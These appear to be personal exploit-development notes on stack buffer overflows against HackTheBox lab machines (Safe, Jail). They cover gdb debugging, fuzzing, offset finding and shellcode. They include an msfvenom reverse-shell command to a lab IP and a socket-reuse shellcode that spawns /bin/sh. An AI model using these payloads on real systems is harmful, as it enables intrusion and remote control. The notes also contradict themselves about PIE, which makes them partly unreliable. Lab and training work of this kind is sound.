Exploit Dev

Stack-Based B.O.F

Based on HTB: Safe

- Return Oriented Programming (ROP)

Tools

• gdb : Debugger

• gef

• gdb peda : Python add-on for gdb

• checksec : Identify Security Protections

• Ghidra : NSA's Reverse Engineering Tool

1. Identify port/service running on service

2. Identify protections using checksec

kali@kali: gdb -q myapp
Reading symbols from myapp...
(No debugging symbols found in myapp)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Based on HTB: Jail

Clue B.O.F identification: Run the script, check if any new ports are opened which are on the target machine as well.

Modify Compile Script

gcc jail.c -o jail -m32 -z execstack -ggdb

-ggdb -[Adds some debug options]

The binary works by forking itself to each server call, so in the event of a crash the primary process will still run. We use the command below in gdb to make the process debug in forked process. Best to start process and attach gdb

#Method 1
ps ef | grep jail
gdb --pid=22601

#Method 2
gdb -q jail

(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) c

[c: Continue; Better than r/run: Run]

1. Fuzzing

To prove that the application is vulnerable to a B.O.F. Fuzzing: sending a large number of characters as an argument to the application until it crashes. Since the buffer is set to 16, we’ll need to use a number of characters larger than 16. Let’s go with 40. Use python to generate a string of 40 As.

python -c 'print("A"*40)'

• Input to the application.

• We get a segmentation fault in GDB.

• We can see that we successfully overwrote the EIP (Extended Instruction Pointer) / return address with 4 B.O.F Confirmed

2. Determine the security protections that are enabled on the application

gdb file
checksec

We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, remember there was a DEBUG parameter that gave us the location of the buffer overflow-able field userpass. So we don’t have to worry about figuring out a way to find this memory address.

3. Finding the Offset

• Method 1: Using gef

• Method 2 : Using metasploit

Using Method 1

• Create A Pattern: To find the exact memory address of the EIP.

• Perform Fuzzing again with the above pattern.

The EIP was overwritten with the string “haaa”. [Copy Memory Address]

• Identifty Offset: To find exact memory address of the EIP

Perfect, the offset is 28.

Using Method 2: Metasploit

• Create A Pattern

/usr/share/metasploit-framework/tools/pattern_create.rb –l 50

• Fuzzing

• Identify Offset

/usr/share/metasploit-framework/tools/pattern_offset.rb -q 62413961 -l 50 

4. Finding Bad Characters

“\x00” and “\n” are bad characters.

5. Generating Shell code

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.45 LPORT=1234 -f py

To bypass that security protection: Socket reuse.

• This will create a shell before crashing, instead of using another nc listener) Reference:

  • https://rastating.github.io/using-socket-reuse-to-exploit-vulnserver/

  • https://www.exploit-db.com/exploits/34060

shellcode[]= "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6" "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x31\xc9\xcd\x80";

6. Writing the Exploit

Now to test it on the Jail box, change the host to the ip address of Jail and the memory_add to the one that gets leaked when you connect to the jail application.